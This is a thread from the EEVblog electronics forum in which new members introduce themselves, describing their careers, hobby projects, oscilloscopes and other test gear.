Post by: gnerdalot on March 26, 2017, 08:42:03 am
Hi, my name is Gregg and using the words of a friend, "I collect hobbies".  So I have been in sysadmin/devops/software developer for 10 years on, and partially chose coding as a hobby because it is a quiet hobby.  I also did some hobby machining, mostly making chips and occasional useful items..   Saws, mills, these all scare my wife as I am not the most coordinated person, and fingers are hard to replace.   While I want a lathe next, she would rather I have a safer hobby.  I've wanted to get into electronics since working for my uncle one summer 20 years ago..

So... A few weeks back, I stumbled on a Tek T922 in Weird Stuff electronics, and I have occasionally needed a scope fixing things or whatnot, but never had one.  It as $35 and seemed to work.  So I got it home, one channel works fine, the other probably needs cleaning.  That night I gazed upon our household AC via a 110AC -> 12VAC wall wart and was mazed.  I can see the power.   :box:     I decided right then, "adding electronics to my hobby collection", waking up the 'you should finally learn electronics, stop putting it off'.  So I gorged on some oscilloscope video's, got some power supplies off CL (have needed those too for bench testing doo-dads), and just bought some Arduino stuff.  The machining ill be relegated to support for now, not the end game as was before.   Lathe will have to wait.
Title: Re: New Member, Please introduce yourself
Post by: Octane on March 27, 2017, 02:55:37 am
Hi!

I'm Michael, originally from Austria. I finally registered on the EEVBlog forum! Long time viewer of the videos!
My electronics career started in very early years, my dad had electronics as hobby and so I spent long days in his shop since I can remember. Molded by this, I visited a highschool for electronics & telecomination technology followed by studying physics with the focus on semiconductor and solid state physics. After that I moved to Orlando, Florida to work in an RF semiconductor company.
Here I am now, working on getting my lab set up, since the last years where spent fixing up a house that I and my girlfriend bought and lots of other activities. As soon as I have this I will post photos.
BTW, I'm also a licensed ham radio guy (W4MFT), since about a year now, I think.

Let me know if there are questions!

BR,
Michael

P.S.: Dave thanks for all your videos! It is a joy to watch them. Great job, keep it up!
Title: Re: New Member, Please introduce yourself
Post by: FPV on March 30, 2017, 04:50:04 pm
I am Eric and I found the EEVblog youtube channel years ago! Wanted to buy a multimeter and found the chart here in the forum; signed up and I am happy to discuss all kinds of topics with like-minded folks.

Title: Re: New Member, Please introduce yourself
Post by: dustindufault on April 06, 2017, 04:06:54 pm
Hello! I'm Dustin from Amelia Island, FL. I'm interested in increasing my knowledge about electronics in preparing myself to homeschool my children in science and technology. I've done a ton of home renovations and have done lot's of construction related diagnostic and electrical installation type of work like testing air conditioner capacitors, basic electric motor troubleshooting on air compressors, etc. But I am looking forward to getting an oscilloscope and digging into the function and design of some more complicated circuits!

I'm very green, so I'm looking forward to soaking in the vast amounts of knowledge on the site! I have been enjoying the EEVblog videos on youtube already!
Title: Re: New Member, Please introduce yourself
Post by: Byachna on April 08, 2017, 02:02:08 pm
Hello from Pennsylvania, USA! My name is Brandon, and I've been lurking the forums for the past few weeks, researching DMMs :). I'm a huge fan of the videos and have learned quite a bit from them!

The knowledge here is astounding!
Title: Re: New Member, Please introduce yourself
Post by: Sven1980 on April 17, 2017, 06:46:59 pm
Hello, I'm Sven, 37 years old and living in Belgium.
I work as an inline measurement technician in the Audi factory in Brussels.
Back in the days I studied some basic electronics, last year I started with arduino and I notice that I lost much knowledge over time.
Last week, a Rigol 1054z got delivered at my door.

I'm following EEVblog on youtube since last year and now it's time to join this forum.
Title: Re: New Member, Please introduce yourself
Post by: Dan666 on April 18, 2017, 08:57:48 pm
hi all,
new member from Italy here.
I've come to know the forum from the yt channel, I don't know much of electronic, but I'm trying to study it a bit (also with the help of the eevblog videos).
I may have ultra noob questions, so see you in the beginners zone.

Ciao,
Danilo

Inviato dal mio Redmi 4 utilizzando Tapatalk

Title: Re: New Member, Please introduce yourself
Post by: TommyR on April 19, 2017, 11:24:59 am
Hello everyone!

I've been a lurker for a month or so and I've decided to finally register. I am a newbie when it comes to the electronics so I will probably ask a lot of stupid questions - forgive me for that! ;)

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: skarecrow on April 19, 2017, 10:35:22 pm
Hello, World!  I've always had an interest in electronics since as far back as I can remember.  Growing up I loved taking things apart to see how they worked.  I also enjoyed playing with the electronics learning labs, and had several of them.

In high school I had a summer job working for Dranetz.  I got paid to make their equipment and software fail by any reasonable means necessary.  For example I could ignore everything in the operations manual and try to do things it wasn't supposed to do, but I couldn't whack it with a sledge hammer.  It was a really fun job.  What kid in high school wouldn't love getting paid to break things?

Imagine my excitement hearing Dave talk about my old company in one of his videos.  For a while I'd been wondering if he ever did a video on any af their equipment, and I found out rather quickly when I decided to start watching every video in order.

Unfortunately I haven't really done anything at all with electronics in many years.  I just got the itch to get back into it recently and have been spending money faster than I can make it trying to get a somewhat respectable lab setup.  Timing of the latest Radio Shack bankruptcy was perfect, as I was able to actually break their register because it couldn't handle the amount of items I was purchasing at 60%-95% off.  In a week I bought over 800 items just from them, plus many many more from eBay and Amazon including my very first oscilliscope, a Tektronix 463 (with serial number just over 21,000, which I believe makes it ane of the better ones.)

Hopefully my introduction didn't run on too long.  Big fan of just about every one of the videos I've watched so far. Looking forward to participating on the forum too!
Title: Re: New Member, Please introduce yourself
Post by: catshot on April 22, 2017, 11:43:49 pm
Hi All,

New guy here, catshot, don't ask, well you can but let me get past the intro. I'm retired now for 13 years, much harder than working, trust me. OK, I live with my wife of almost 50 years on top of Sand Mountain, Trenton Ga, and looking for someone to do high power LED comms with, but that's another story.

I do buy and sell government surplus electronics as a secondary hobby, lots of fun. Anyway, glad to be here and if I can answer any questions, please let me know.

I'm sort of a 'cad' (clown) so don't be alarmed from time to time. OK, nuff of that, I'll go read a bit and see what happens.

In the mean time, what are some thoughts if a spec anal does NOT have a tracking generator but I do have a sig gen for doing antenna 'stuff'?

catshot
Title: Re: New Member, Please introduce yourself
Post by: TheProvert on April 24, 2017, 12:09:18 am
Hi, the name is Gary and I'm from Texas. Dave has rekindled my love of electronics, and starting to build me a new lab. Hope to make many new friends and colleagues here.
Title: Re: New Member, Please introduce yourself
Post by: BootstrapWorkbench on April 26, 2017, 01:24:49 am
Hello all!

Name here is Charles and I've been involved with hobby electronics since at least 1984. I've been a licensed amateur radio operator since 2002, and I have a lot of fun repairing and rebuilding vintage amateur radios, and re-purposing retired two way land mobile equipment.  Many years ago I worked for a two way radio shop, and learned a lot about radio install and repair. I have an associate of applied science degree in electronics, and a bachelor of science in information technology.

I've watched a lot of Dave's videos, and I have my own YouTube channel, where I repair test equipment, radios, vintage computers, and many more items. Please have a look, and subscribe, since I am going to try to release 1-2 videos per week.

https://www.youtube.com/channel/UCAynV-VPTboDpfZLMFFZFkQ (https://www.youtube.com/channel/UCAynV-VPTboDpfZLMFFZFkQ)

73,

Bootstrap Workbench
Title: Re: New Member, Please introduce yourself
Post by: CeD on May 01, 2017, 02:10:36 pm
Hello !

I'm Cedric from Belgium. I'm a 42 years old electronics engineer that never actually worked in the electronics field :)

Exactly like Gary "The Provert" just above, Dave has rekindled my love of electronics, and I too have started to build myself a new lab.

Thanks Dave for all you do and hoping to maybe make new friend here
Title: Re: New Member, Please introduce yourself
Post by: Neomys Sapiens on May 06, 2017, 12:09:46 am
Well, introductions are due. I have the nagging suspicion that I did this before, but left no traces.

E/E engineer with 30+ years of experience. Specializing in Test, Measurement and Instrumentation, Aerospace and Defence electronics, EMC/EMI, SRMQ, Power Electronics and Electromechanics.
Total engineering person, stopped even trying to seperate my work from my personal life (my what?).
Own lab, own professional library with about 500+ titles (print) and so on..

Having done test and evaluation, field support and shop repair, circuit design, systems engineering and anything in between. Highlights? Can't tell - I want to spare my city of residence! But a power unit on the ISS, SOFIA, subsystems of EF200, A400M, 787, UGVs/remote manipulators and some big green tracked stuff should suffice. Mixed signal, DC to GHz, microvolt to Megawatt.

Currently in deep **** up to my eyebrows while reworking ADS-B stuff once designed by a department which can only be described satirically. The devices they designed remind me of the equestrian/veterinary textbooks where all illnesses/flaws are shown on one horse! Well, way to go. If it was easy, they would have given it to a nice guy. Back into RF electronics right after MW-size DC keeps one awake and learning.

Avid collector of rare and special tools and instruments (if it is from Belzer, iI must have it!!), total adaptor hamster. Unfortunately, those conspirators at the involved companies know this, and they ALWAYS offer new and different connector series when I just think that I might have them covered. Dang.

Hailing from Germany, please forgive my lapse-backs into noun capitalization.
That's it - for now. Greets from the shrew(d) engineer.
(http://neomys_anomalus.jpg) (http://Unerledigte_Arbeiten.jpg)
Title: Re: New Member, Please introduce yourself
Post by: badvoc on May 06, 2017, 05:29:10 pm
Hello everyone, i just noticed this thread and thought i would say hi. My username here is Badvoc and i am new to the forum.

I am a electronics hobbyist based in the UK who likes to pass the time tinkering with circuits, project kits and test equipment. And also creating videos of my experiences with electronics which i post on YouTube (https://www.youtube.com/channel/UCs7g7f_MU5VSGRxHMQoQ5Xw (https://www.youtube.com/channel/UCs7g7f_MU5VSGRxHMQoQ5Xw)) to share with others.

Hope to meet new friends here and learn more about electronics with like minded people.

Title: Re: New Member, Please introduce yourself
Post by: janaf on May 07, 2017, 12:09:20 pm
Hi guys,

I have been away for two years from the forum, might just as well write under "introduce yourself".

Naw, not really, but I'll try to hang around on a more regular basis now.
Title: new user, old viewer
Post by: omulki on May 08, 2017, 07:31:25 pm
Hi, this is Oliver from Germany.
I've just registered here and as a patron, after having watched about 200 eevblog videos on YT.
EE has been my hobby since I was ten or so and I may have designed and built quite a few proper products (mainly in the audio range, mainly analogue) over the years. I've played around with µCs, of course, but haven't finished any serious EE project  for quite a while.

Please overlook the sporadical upper case, that's a German habit (including my browser's autocorrection).
Looking forward to prolific discussions,

Oliver.
Title: Re: New Member, Please introduce yourself
Post by: Brumby on May 09, 2017, 03:29:50 am
I just realised ..... I never introduced myself.  Is it too late?

After 4237 posts...  Yeah - probably is.
Title: Re: New Member, Please introduce yourself
Post by: BoloDotDk on May 09, 2017, 11:44:39 am
Hello Folks,

Been following EEV blog on youtube for a long time now.... but here is the funny thing. I dont know much about electronics. Did some basic soldering in school. Looked into Ohm law and such.

So I am here to learn and share. My title is "3D and Medical Product Specialist" at Roland DG. So I know milling machines, engravers, dental milling machines (one is a CNC grinder but that is a minor detail) and 3D Printers very well... but not the electronics and I am really curious.

I playes my first "flight simulator" on my C64 and have never stopped playing flight sims (Mostly DCS).

Always dreamt of building a simpit, but never got to it. So i think I will start small and see where it goes. First project a pair of rudder pedals, since the mechanics are pretty simple. For the electronics, I just bought some Leo Bodnar components.
Title: Re: New Member, Please introduce yourself
Post by: figgie on May 09, 2017, 03:13:52 pm
Greetings all!

I am Figgie, from the twin cities, MN. I learned soldering in the military (along with proper wire-stripping for 22759 wires) but I was doing it since I was younger thanks to my dad that happened to work on fixing photocopy machines (anyone remember those?), typewriters (specifically IBM Selectric) and any other electronics that came his way (arcades, calculators, the first pc, VHS/Betas).

By day time I am an IT consultant, only electronics I deal with are working servers or telling people to replace dead servers. :)

I have used the big old wire soldering irons (don't even remember the names), butane soldering pens, to Soldering stations.

Current soldering stations are as follow

Weller WX2021 station (with WXMP and Micro-Tweezer that are broken), Purchased this station nearly 4 years ago. My first "real" soldering station, served me well for soldering XLR connectors to canare starquad cable. Selling this one.


JBC DMSE station with T245 and D560 desoldering
JBC SF-110VA

next to bat... JBC JTSE-1A and fume extractor.

Title: Re: New Member, Please introduce yourself
Post by: gazereths on May 10, 2017, 06:17:09 am
Hey there I'm Gaz

Total n00b when it comes to electronics but really enjoys Dave's channel. Enjoy building PC's and taking things apart to see how they work. Been watching EEVBLOG for around a year I would say. Won the recent audience survey for the hvp70 diff probe  :o

It's good to be here and I'll try to be an active member though as I said I have little in the way of real electronics knowledge.
Title: Re: New Member, Please introduce yourself
Post by: jmelson on May 14, 2017, 03:46:56 am
I've been tinkering with electronic stuff since I was 12, or even before.  I took electrical engineering for a while but switched to computer science.
I've been working as a pseudo engineer (no degree) for 40+ years.  I started a company to make a video animation controller I designed at work in 1986.  Eventually a company came out with a much better idea, so I shut that down.  Since then, I've been making CNC motion control gear and nuclear instrumentation electronics.  In 2007 I bought a used pick & place machine (Philips CSM84) a 5 x 7 foot, 1700 Lb monster.  I also built a laser photoplotter to make PC board master artwork.  I now use it mostly to etch solder stencils.

I added a ramp and soak thermocouple controller to a GE toaster oven to reflow boards with parts on both sides.

I've built over 1000 boards with this setup.

Jon
Title: Re: New Member, Please introduce yourself
Post by: Geoncic on May 17, 2017, 03:18:33 am
Hello. My name is William. I am a mechanical engineer by education, but have always loved control systems. I'm picking up electronics as a hobby and going through all the circuits classes I took way back when. I'm interested in automation and mechatronics. I have really enjoyed browsing this forum and watching Dave's videos. I am in the process of building a starter lab to start tinkering around in.
Title: Re: New Member, Please introduce yourself
Post by: iamjanco on May 18, 2017, 12:52:06 am
Noobie here (actually oldie), thought I'd introduce myself somewhere, and first did so on a thread about wirewrap tools. Found this one, figured I'd add some of that info here.

My background (I wouldn't call myself an engineer, more a hobbyist):

Did a 20 year stint in the Air Force, starting out in "Radar" (search and weather) Shop on C141s. Back then the field was officially called "Radar" or "Nav Aids" for short, and included maintenance of systems like ILS, TACAN, VOR, etc. The field was eventually merged into communications, after which we were called COMM/NAV.

Anyway, retired from the military in '92, and my first real job after that was for a company called Advanced Systems Development, Inc. (ASDI), as what they called a Systems Integration Tech/Field Service Engineer (read: grunt on digital/rf) on their AMES II platform (Advanced Multiple Environment Simulator), an EWS receiver testing platform. Great experience, mostly integration on VME backplanes, and learned far more than I ever did in the Air Force.

Now I just tinker around with computers, my current project involving PWM control.
Title: Re: New Member, Please introduce yourself
Post by: killawhat on May 20, 2017, 03:07:59 pm
Just thought I'd give a quick G'day to everyone,
Stumbled over here from Dave's Youtube blog which I find rather entertaining. And the fact he reminds me a bit of a bloke I used to work with when I was an apprentice.
I did my trainee-ship years ago at Alcatel. Sadly, it all came to an abrupt end when Onetel sunk, so changed course and became a sales rep for hardware instead. Now electronics is back being a hobby as it was when I was 10 (although I don't get as much time to do it, but working at it). In between the workshop shed re-organising, building a recording/jamming studio, farm stuff, wood chopping - never ends.
I generally like working on audio gear (got a heap of stuff I'm fixing as I get the time), but still like making amps, guitar effects. I also work on my guitars, modifying and building a few when time permits. I've still got stuff running I built when I 15 (that was 30 years ago)!
Although the last few projects I built a 50's style jukebox with wifi streaming and touch screen taht literally shakes the house, an upright multi arcade machine. Latest project is a poker machine for the missus (not sure if I'll get it done in time though).
I actually popped over to the forum for some reviews on test gear and workshop layouts as I'm currently moving what I had in the shed to the office inside. Winters a bitch down here - summers too hot, winters bloody freezing in the shed. Try soldering with icicles hanging off fingers! I figured, move it inside and I might even do some stuff at night instead of TV.
But, just getting myself up and running again. Investing in some new gear and tools (finally bought a cheap CRO  :-+) which were always handy but super cheap now there's an Ebay!
Look forward to hanging around and getting some more ideas
Cheers
Pete
Title: Re: New Member, Please introduce yourself
Post by: SixD on May 20, 2017, 09:01:12 pm
Hi!
I am Sixten Revström or SixD or SixDev.
I am a 15 year old from sweden, who has had this account for 3 1/2 years but not really used it at all.
Title: Re: New Member, Please introduce yourself
Post by: I duz avionics on May 24, 2017, 09:31:24 am
Hi, Noob to the forum, you might see that this is post #1 (in any forum ever).
I'm an Avionics Technician in the Royal New Zealand Air Force. I have 17 years time up with most of my operational time being associated with the mighty C-130, 6 years flight-line and four years teaching C-130 avionics systems.
Currently posted to the Computer Systems Bay which is a back-shop dealing with all things airborne-computery, which makes use of my Bsc (Comp Sci).
Having said all that, being an Avionics Tech means I know a lot about a very narrow field, still plenty to learn.


Title: Re: New Member, Please introduce yourself
Post by: lowtech on May 25, 2017, 03:46:37 am
I've been following EEVblog and videos for a few years now, just thought I would finally register and say Hello.
Title: Re: New Member, Please introduce yourself
Post by: Inverted18650 on May 29, 2017, 02:41:14 am
Greetings All,

My name is Chris. I have read the forum and watched the channel for a couple years but have never had much time to register and actually chat. I have recently finished my military career and finally have some free time to tinker again.  I have a Mechatronics certificate with Siemens certification and I am close to finishing my BS degree in EE with a concentration in Electronics. 

My primary interests are DC power and the creation and transfer of it. I build 18650 power banks for use in solar systems and other off-grid applications. I enjoy repairing power inverters and exploring other SMPS designs and ideas. I also used to repair smartphones and other handheld devices but have grown tired of it and wanted a change of pace. I have recently purchased a handful of super-caps and I am sure I'll have some questions for the pros here as my project goes on.

I get crabby from time to time but I am a nice guy with a huge heart. Ive been blown up ( in combat) a few times and my brain doesn't always fire on all its cylinders. I, like most veterans, are accustomed to giving. I like to find and share good deals for hobby/ pro stuff to help support the EE community. If I can buy it USED, I will, rather than buying it new from stores. I like to keep the money within the community.

Current projects:

Bobble-head Dave

24V super-cap power bank

troubleshooting a bad Magnum Energy MS 4448 main board

Thanks all,

Chris
Title: Re: New Member, Please introduce yourself
Post by: Russ57 on May 29, 2017, 10:49:45 am
I'm Russell, or russ,
Was an electronic engineer a long time ago, then drifted into IT. Hobbies now mainly metalworking, but also interested in home automation, at least power management.
Probably just lurk a bit, but I'll chime in if I have actual knowledge or experience to offer.


-russ

Title: Re: New Member, Please introduce yourself
Post by: robert67 on May 29, 2017, 04:34:09 pm
Hi, I'm Robert, I've been working at freelance IT consultant for the last, well, 25 years. But I started out with electronics: I was assembling and debugging discrete (yes, that's how old I am) R2R AD-converters for a small local company during my junior high years, and my graduation project in senior high was a 8086 computer (CMOS, ate machine code hacked into an SRAM by DIP-switches, single stepped of course). Then I went off tangent and studied computer science because it was only four exams to get the bachelor (German "Vordiplom"). Yes, I'm basically a lazy guy. Now I'm slowly getting back into electronics and mechatronics.   

Title: Re: New Member, Please introduce yourself
Post by: audio86 on May 30, 2017, 08:40:26 am
Hi i am michele I've been following EEVblog and videos for a few years now, i am interested at forum, thanks at all member
Title: Re: New Member, Please introduce yourself
Post by: fourtytwo42 on May 30, 2017, 11:50:03 am
Hi all, remember hitch hikers guide to the galaxy and the answer to the ultimate question given by the computer built by the mice hehehehe (42) well here I am again having forgotten the answer to my simple password last time and ditched Yahoo anyway! Interested in all things green/ECO (also plants). Retired from a lifetime in many branches of electronics both hardware and software. Also enjoy music!
Title: Re: New Member, Please introduce yourself
Post by: gg2 on May 31, 2017, 08:47:05 pm
I'm Rick. I run a research group at Brown University involved in experimental work in the field of astrophysics/cosmology. We build tonne-scale detectors designed to be sensitive to very small (~keV) energy depositions. As a consequence we work on both high speed analog and digital electronics (~100 MHz ADC's primarily and associated trigger logic). We use 100+ channel ADCs for capturing information. We also conduct  computer simulation work to help with the design of new systems and also understanding results from experiments that are taking data. We need to understand a large range of techniques in digital signal processing. The dataset sizes are typically in the 50 TB - 1 PB range. The eevblog has proved absolutely invaluable to us over the last 5+ years because of the very detailed studies (and follow up discussions) that members carry out. The demonstrated level of understanding of a broad range of systems is impressive. I am very grateful to the members and hope we can make some useful contributions ourselves.
Title: Re: New Member, Please introduce yourself
Post by: DoubleNuttedWrench on June 02, 2017, 01:56:30 pm
I'm Cody, I've been a military avionics technician and ham operator for 20 years. I found this forum and liked the place so I joined
Title: Re: New Member, Please introduce yourself
Post by: guyo on June 02, 2017, 06:19:45 pm
Hello!  My name is Guy and I live in Canada.  I am a hobbyist and enjoy watching Dave's antics.
Title: Re: New Member, Please introduce yourself
Post by: UnkleBidii on June 04, 2017, 12:21:06 am
Hello,

I live in the US, Arizona to be more exact. I have some experience doing technician work but looking to refine my electronics skills and dream bigger. Currently have my  BS in EET and have recently reestablished my passion and desire to become an engineer. World of knowledge out there and I've let it pass by for too long. I look forward to sifting through the forum and gaining some insight from my fellow patrons.

Thanks
Title: Re: New Member, Please introduce yourself
Post by: eyiz on June 04, 2017, 12:34:53 am
Hi, I'm Pete, my new hobby is electronics. By profession I'm a computer programmer and financial analyst. I have lots of diverse interests. I've been reading eevblog for quite awhile, though, as one of my diversionary entertainments, and decided to join the gang. I live in Toronto, Canada.
Title: Re: New Member, Please introduce yourself
Post by: Ushiwaka on June 04, 2017, 11:40:16 am
Hi, I'm ???? (you can call me Waka, not my real name ofc ;) )

I'm an EE student, I mainly work w/ MCUs (mostly PIC) (also learning FPGAs)

I came across EEVblog a few yrs ago when I saw Dave's vid about PCB spark gaps :-+.
Title: Re: New Member, Please introduce yourself
Post by: Laser Simon on June 05, 2017, 09:24:45 am
Hi there !

My name is Simon and I am from the old dark as Dave calls it   :-DD
(Southern England in the United Kingdom)

I am an experienced software and hardware engineer at all levels and various areas including automotive engine management, factory automation, prison security and entertainment industries (Lighting and sound).

I currently work for a group of night clubs here in england where I maintain, design, install, manage all aspects of the technology used.
I have designed various hardware and software we use here for DMX Lighting, Video display, laser control and point of sale.

I started in hardware in the early 80's but got fed up of waiting for software only engineers to do their job so I ended up learning software too so now I am a jack of all trades !

My hobbies include cars and high power lasers !

Great to be here and part of the Dave appreciation club and I have made it my mission to watch all of Dave's videos and meet him before I die  :blah:

Winner winner chicken dinner  :-+
Title: Re: New Member, Please introduce yourself
Post by: nickdepinet on June 16, 2017, 02:17:00 pm
Hi!

I'm a software person mostly, but tinkering with arduinos is somewhat of a hobby. I just graduated in may with a degree in Computer Science, so I'm building up my personal lab as I've lost access to the club lab I used before. Hello from Seattle!

-Nick
Title: Re: New Member, Please introduce yourself
Post by: salvagedcircuitry on June 25, 2017, 05:14:23 am
Hi!

I'm Anthony, I'm an electrical engineer interested in PCB design, repair, gadget making and camera/cinema applications. Honestly, I have far too many interests (wanna borrow some?)
I have a personal project site here:
www.salvagedcircuitry.com (http://www.salvagedcircuitry.com)

I've been following eevblog youtube for a while and I figured I would join Dave's awesome community.

Hats off to everybody!
-Anthony
Title: Re: New Member, Please introduce yourself
Post by: bjcuizon on June 25, 2017, 07:45:40 am
Hi everybody, I'm Bouvier. I loved to take electronics stuff apart since I was eight years old :D. I am a hobbyist and aspiring EE mostly interested in RF and analog circuitry design. I started watching EEVBLOG Videos a few years ago and I thought that I should join the forum.
See you in future posts and topics!
Title: Re: New Member, Please introduce yourself
Post by: deflicted on June 28, 2017, 10:58:55 pm
Hi, Mike in San Diego here.

Yet another software guy who just wants to tinker a little bit with some electronics. Been in aerospace/defense for 20 years, mostly avionics and satellites. I spend a lot of time working side by side with EE guys, and it always makes me want to learn more about electronics. I signed up here because Dave's videos are endlessly fascinating, and truly one of the best free resources available for electronics hobbyists.

No big ambitions as far as electronics go, other than to learn as much as I can, and have fun doing it. Honestly, even if it only ever amounts to soldering together pre-made kits, I'd be happy with that.  :-+
Title: Re: New Member, Please introduce yourself
Post by: SKHILLBILLYSlures on July 02, 2017, 06:02:00 am
Hello from usa Florida currently still in electricronics technology class .repair trouble shooting and how the components themselves work in conjunction with other components. I love this class because not necessarily the intention to be taught. But in the text books were EE aspects I couldn't help but glue my eyes to as young adult with high functioning autism which I will forever call aspergers I have always found deep enjoy in picking apart every aspect of why something works the way it does and this class looked like a good way to make that my job I love hobby electricronics and attempting to build Science equipment you would only find in a university STM yes there is an online project for one of those MOT (magneto optical trap) not like the ones in your kitchen oven laser expirements with homebuilt detectors and after watching one of Dave's video s now want to fling something into space an expensive and time consuming endeavor as for what I'm not sure yet but isn't that you say when ever some one ask what will you do /design the next day?
Title: Re: New Member, Please introduce yourself
Post by: ropi on July 02, 2017, 08:00:24 am
Hi everyone.

I'm Rocco from Italy and I've been lurking for a while. I'm dipping my toes in electronics, for a hobby. I'm trying to learn enough to build a few basic laboratory instruments and a small power supply. The forum resources have been invaluable for this goal.
Title: Re: New Member, Please introduce yourself
Post by: GameProgrammer79 on July 02, 2017, 11:25:32 am
Hello Fellow Nerds, Waiting-To-Be-Nerds like me  ;)

I am a Electronics Engineer (graduated in 2003) but work in Banking Mathematical Finance field for quite many years now. As a kid some 18 years back that magical years till 1999 I was a electronics nerd. always wanted to get back to my old hobby, slowly building up my small lab. Have been watching Dave Jones eevblog youtube channel since about past 7 year now.

Lot of good reviews and inspiration.. finally I have decided to take plunge .. It was a dream to have all equipment back then when I was a student .. now I can gladly afford it .. so its dream come true:)

I will be sharing more information and projects on my electronics channel as well as through my commercial venture.

For anyone interested where I am currently residing (working), yes it is sunny city of Dubai, United Arab Emirates but I am of South Asian origin :)
 
Title: Re: New Member, Please introduce yourself
Post by: monkey1911 on July 02, 2017, 11:15:07 pm
Hi,

I'm Monkey from Seattle.....I have WAY too many electronic related hobbies!!! Lets see.....Ham Radio, gaming (PC and Console), 3D printing, building and racing RC cars, trying to fly hobby-grade quad-copters, I've started playing around with networking and servers and I'm in the middle of building a new water cooled gaming desktop.

I've started work on re-configuring my living space to give me more work space, hoping to have that done in the next week, then I'll be able to set up my 3D printer again and finally get my Hakko out of it's box!
Title: Re: New Member, Please introduce yourself
Post by: TruthExposé on July 04, 2017, 06:20:45 pm
HI,
I am TruthExposé, Chicago, US. Still learning electronics as anything it is a lifelong process.  I got fed-up with free energy cr@p that some sell online and got myself into a mess by believing in Bedini free energy devices and battery rejuvinvations. Now I am on a mission to let others know NOT to let themselves be fooled by cr@p like that.  I have created a channel under my nickname here, on YouTube it is "TruthExposé" where I talk about my experience with John Bedini's 'mighty' chargers and other things that I will cover exposing all dirty profiteers as it is.  I have enough devices to 'treat this forum' that I have purchased for myself that didn't work as promised! So, it is a payback time! 
Title: Re: New Member, Please introduce yourself
Post by: Aviator X on July 05, 2017, 12:14:23 pm
I just wanted to say hello to the community. Thanks to alanb for linking me to the correct thread.

I've always been a tinker. Mostly taking things apart, then losing the pieces. I'm coming back to my interest of electronics because of my son's interest in robotics. We are very excited having found EEVblog on YouTube and now the forum.

Aviator X
Title: Re: New Member, Please introduce yourself
Post by: Tsippaduida on July 05, 2017, 07:46:44 pm
Hello, I'm over 50, professional business systems programmer, background in mechanical engineering. Newbie in electronics although I have tinkered with microcontrollers a bit in the past (long ago). Now trying to remember what I once knew and learn more. Going to try out few ideas with  Arduino platform.
Title: Re: New Member, Please introduce yourself
Post by: Rinto85 on July 12, 2017, 09:53:20 am
My name is Rinto, 35yo, new in mechanical engineering :D
Recently, just repaired my mom old radio from 1980 :p
Title: Re: New Member, Please introduce yourself
Post by: baeckel on July 12, 2017, 04:07:26 pm
Hey all, I'm Jonathan.  I work in the cyber security field, but have a keen interest in electronics. I have a physics degree, which is the closest I've come to electronics training, but I'm currently working through the Art of Electronics book and the "Learning the Art of Electronics" book is due today.  You'll probably see a lot of AoE/LtAoE questions from me in the Beginner thread.

I'm mostly interested in learning to fix old equipment (tube amps and test equipment), designing new equipment and just generally learning more about how the world around me works.  Also a fan of DIY, I'm putting together an automated brew system (automated pumps/gas valves to start).

It's not really the type of circuits/computers discussed here, but I do like to work on old electro-mechanical pinballs (and soon jukeboxes).

Happy to be a part of the community,

--Jonathan
Title: Re: New Member, Please introduce yourself
Post by: richardnhoffman on July 12, 2017, 09:30:29 pm
Hello all I am Richard Hoffman. I am 23yo that graduated with a Bachelor’s of Science in Electrical and Electronics Engineering Technology about two years ago and has been working at ATL on the famous APM  The Plane Train for about a year now. Due to my work I have not had much time to be on the forums but hopefully I soon will. Since I was a kid I have loved taking apart electronics and things to see how they function and work. Hopefully I’ll be joining the conversations more and learning about electronics as well making my own projects.
Title: Re: New Member, Please introduce yourself
Post by: Geeky907 on July 14, 2017, 05:34:29 pm
Greetings From Alaska USA.

I'm a telecom engineer for a local mineral resources company. who's had a love for electronics and computers since early childhood.
 the beginnings of my professional career started in Radio and Television Broadcast and transmission. then has progressed more towards long-haul technologies and IT
But even-though my professional focus has moved from Mhz to Ghz i still find beauty in resonant cavities and large tetrodes/triodes

- Mike
Geeky907
Title: Re: New Member, Please introduce yourself
Post by: matpro76 on July 15, 2017, 01:48:46 am
Hi - I'm matt, my first career was in electronics (RAAF - Electronics Technician) but haven't really touched it since moving into the IT industry back in 2000. Just started to develop an interest again and stumbled across EEVblog on YouTube. Anyway looks like an awesome forum, will no doubt be contributing soon!

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: biff on July 17, 2017, 05:28:21 pm
Hi,
my name is Jim - and I collect old computers.  No - not old clunky Windows 95 machines,  I'm talking about when computers weren't appliances yet, back in the wild and woolly 8 bit days :-)

Back in the early 80s when I was a teenager, I started out with a TRS-80 Model 1, and within a day or so of purchasing it, I had the "Warranty Void if Removed" sticker punched through and it opened up.  I loved the simplicity of the design back then - and still do today.
The majority of the components it contained were simple logic gates - along with the CPU and memory chips of course.
Compared to todays desktop machines - computers like this were just asking you to open them up and modify them.
And if a mod went wrong (whoops - put a chip in backwards) it was a pretty simple job to remove the now fried chip and pick up another one from Radio Shack - or Jameco etc.

My first formal introduction to electronics was in a high school electronics class, and a few years later after deciding college wasn't for me - an electronics trade school. ( I had made the mistake of majoring in business in college)

The high school class was my first introduction to Tektronix Oscilloscopes (were there any other brands back then? ;-) )  and again I ran into them again at the trade school.  During my time at the trade school, I actually brought in an Expansion Interface for the Model 1 that I was building from a kit, (A Micro-Design MDX-2 I believe)  since it wasn't working properly.
The kit included a complete schematic, so armed with my trusty classroom O'scope - I was able to determine I had a bad crystal in a clock generator circuit - which was something I would never have found at home.

It was from that day that I wished for an O'scope - but the price $$$$

The tradeschool launched me into my first real job as field service for Telxon - an obscure small handheld computer maker that retailers would use track barcodes in warehouses etc.  Since they were handheld, the users were constantly dropping them - and me and my co-workers were responsible for doing component level repair of them - and getting them back in service.

Again - I was working with Tecktronix scopes and other gear priced out of my league.

Sadly, 20 years or so ago, I moved on from board repair to programming, but I never lost my love of soldering and then applying power and seeing something work (usually).  I've gone through many computers in my career - but none of them had the same personality or were as much fun to hack on except for maybe the Raspberry Pi's.  (No offense to the Arduino - when I read that Raspberry Pi's could run Linux - I was sold)

Today I'm still trying to keep multiple 8-bit computers alive - and still buy an occasional upgrade for them - upgrades I'd never have dreamed of back in the 80s - like SD Card emulated floppy drives - and an expansion unit for my Model 1 that does everything the original kit I built did - but in about 1/8th the space.  The one item I never bought was an O'scope, and on a whim last week, I was doing a google search on hobbyist scopes - and that lead me to this forum.  I'm currently eyeing a Rigol DS1054Z, which I never heard of till reading about it here.  A couple years ago, I read about the USB Bitscope, but I wanted something more self-contained.

